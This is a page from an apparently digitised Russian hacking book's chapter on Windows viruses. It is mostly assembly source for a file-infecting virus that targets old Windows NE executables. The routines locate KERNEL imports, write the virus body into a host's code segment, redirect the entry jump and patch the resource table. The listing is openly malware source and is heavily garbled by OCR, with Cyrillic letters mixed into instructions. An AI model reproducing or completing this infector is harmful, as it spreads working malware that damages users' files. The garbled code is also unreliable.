Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 105 106 107 108 109 110 < 111 > 112 113 114 115 116 117 .. 123 >> Следующая

mov Si, OFFSET TEMP
SK1:
lodsw ;получаем офсет модуля push si
mov dx,[NH_OFFSET] ;поиск в таблице импортированных имен add dx.WORD PTR
[NEW_HDR+2AH] add dx.ax
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
inc dx хог сх.сх
call FILE_SEEK_ST ;приготовиться к чтению имени модуля mov сх,40Н
mov dx,OFFSET TEMP + 40H call RLE_READ ;читаем его в TEMP в 40H pop ax
push ax
sub ax,OFFSET TEMP shr ax,1
mov [KERNEL],ax предполагаем, что это KERNEL cmp ax.WORD PTR
[NEW_HDR+1EH] щоследняя запись? jge SHORT SK2 ;да, используем ее no
умолчанию mov di,OFFSET TEMP + 40H mov si.OFFSET KNAME mov cx,6
repz cmpsb проверяем ее
jnz SHORT SK3 ;не KERNEL, продолжаем SK2:
pop si ;иначе выход с KERNEL, установленным ;так, как есть
ret
SK3:
pop si jmp SK1
Эта подпрограмма записывает вирусный код в инфицируемый сегмент кода. Она
также обновляет прыжок, которым завершается вирус, чтобы тот указывал на
старую точку входа в этот сегмент.
WRITE_VIRUS_CODE:
mov ax,[INITSEC] ;секторы в сегмент кода mov cx,[LOG_SEC]
ГЛАВА 9. Вирусы под Windows
mul сх ;dx:ax = локация сегмента кода
add ax.WORD PTR [NEW_HDR+14H]
adc dx,0 ;dx:ax = место, куда поместить вирус
mov cx.dx
mov dx.ax
push cx
push dx [сохранить эти значения и подстроить прыжок call FILE_SEEK_ST
.искать здесь
mov ей,OFFSET TEMP .переместить мод вируса в сегмент данных mov
cx.VIRUS.SIZE mov si,[VSTART]
WVCL: mov al,cs:[si] inc si stosb
loop WVCL
mov si, [VSTART] установить области перемещений в кед е до add si, OFFSET
ARELOCS ;FFFF0000 mov cx.cs: [si] add si,4 WVC2:
mov di,cs:[si]
add di,OFFSET TEMP
mov ax,OFFFFH
stosw
inc ax
stosw
add si,8
loop WVC2
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov cx,VIRUS_SIZE ;сх=размер вируса
mov dx.OFFSET TEMP ;Сх=офсет начала вируса call FILE_WRITE [записать
вирус в файл
pop dx ;ОК, мы должны обновить прыжок
pop сх ;к коду жертвы
mov ах,OFFSET VIRUS_DONE - OFFSET VIRUS
inc ax
add dx.ax
adc cx,0 ;сх:с1х=локация для обновления push ax
call F1LE_SEEK_ST [переходим туда
pop ax inc ax inc ax
add ax,WDRD PTR [NEWHDR+14H] дх=офсет инструкции после прыжка sub
ax,[ENTRYPT] ;ах=расстояние до прыжка neg ах [делаем его отрицательным
числом mov WORD PTR [TEMP],ах [сохраняем здесь mov сх,2 ;и записываем на
диск mov dx.OFFSET TEMP call F1LE_WRITE [все выполнено ret
Обновляем таблицу ресурсов, чтобы секторные указатели были правильными:
UPDATE_RES_TABLE:
mov dx.WORD PTR [NEW_HDR+24H] [переносим таблицу ресурсов add
dx,[NH_OFFSET] ;вЕХЕ add dx,2
ГЛАВА 9. Вирусы под Windows
хог сх.сх call FILE_SEEK_ST URT1:
mov dx,OFFSET TEMP mov cx,8
call RLE READ -.читаем 8-байтовую запись информации о типе cmp WORD PTR
[TEMP],О ;ID типа О? jz SHORT URTE ;да, все сделано mov cx,WDRD PTR
[TEMP+2];получаем счет записей инфо для чтения
URT2:
push сх
mov dx.OFFSETTEMP mov сх,12
call FILE_READ -.читаем 1-ю информационную запись об имени
mov ах,WORD PTR [TEMP] ;получаем офсет ресурса
cmp ax,[INITSEC] -.больше, чем локация первоначального cs? jle SHORT URT3
;нет, не тревожимся о нем add ax,[VIRSECS] '.добавляем размер вируса mov
WORD PTR [ТЕМР],ах
mov dx,-12 mov cx.OFFFFH
mov al, 1 '.возвращаем указатель файла
call FILE_SEEK
mov dx,OFFSET TEMP записываем обновленную запись ресурса
mov сх,12 ;вфайл
call FILE_WRITE
URT3:
pop cx
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
dec сх [читаем, пока не пройдем все информационные jnz URT2 [записи
этого типа
jmp URT1 [получаем другой тип информационной записи URTE: ret
[вызовы к I/O KERNEL-основанного файла:
FILE_OPEN: push es
push ds [толкаем указатель к имени файла push dx
push 2 [открываем в режиме чтение/запись ROPEN: call FAR PTR Jopen
; DB 09AH [вызываем дальний указатель к Jopen [ROPEN: DW OFFFFH.O pop es
ret [возврат с индексом в ах
FILE_READ: push es
push bx [сохраняем bx во время этого вызова I push bx [передаем контроль
к Jread push ds
push dx [буфер для чтения
push cx [байты для чтения
RREAD: call FAR PTR Jread
DB 9AH ;выэов дальнего указателя Jread
[RREAD: DW OFFFFH.O pop bx pop es ret
FILE_WRITE:
ГЛАВА 9. Вирусы под Windows
push es
push bx ;сохраняем bx во время этого вызова push bx ;передаем индекс
Jwrite push ds
push dx ;буфер, откуда идет запись push сх ;байты для записи RWRITE: call
FAR PTR Jwrite ; DB 09AH ; вызов дальнего указателя Jwrite ;RWRITE: DW
OFFFFH.O pop bx pop es ret
FILE_SEEK_ST: xor al.al FILE_SEEK: push es
push bx {сохраняем bx в этом вызове push bx ;и вталкиваем в стек для
вызова push сх
push dx ;число байтов для перемещения xor ah.ah ;ах=источник, где
производится поиск push ах ;0=начальный, 1=текущий, 2= конечный RSEEK:
call FAR PTR Jlseek ; DB 09AH {вызов дальнего указателя Jlseek {RSEEK: DW
OFFFFH.O pop bx pop es ret
FILE_CLOSE:
push bx {передаем индекс к Jclose
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
RCLOSE: call FAR PTR Jclose ; DB 09AH ; вызов дальнего указателя Jclose
;RCLOSE: DW OFFFFH.O ret
Следующая подпрограмма HOST приведена здесь как первоначальная программа
запуска. Когда вирус инфицирует файл, он прыгает к коду запуска
Предыдущая << 1 .. 105 106 107 108 109 110 < 111 > 112 113 114 115 116 117 .. 123 >> Следующая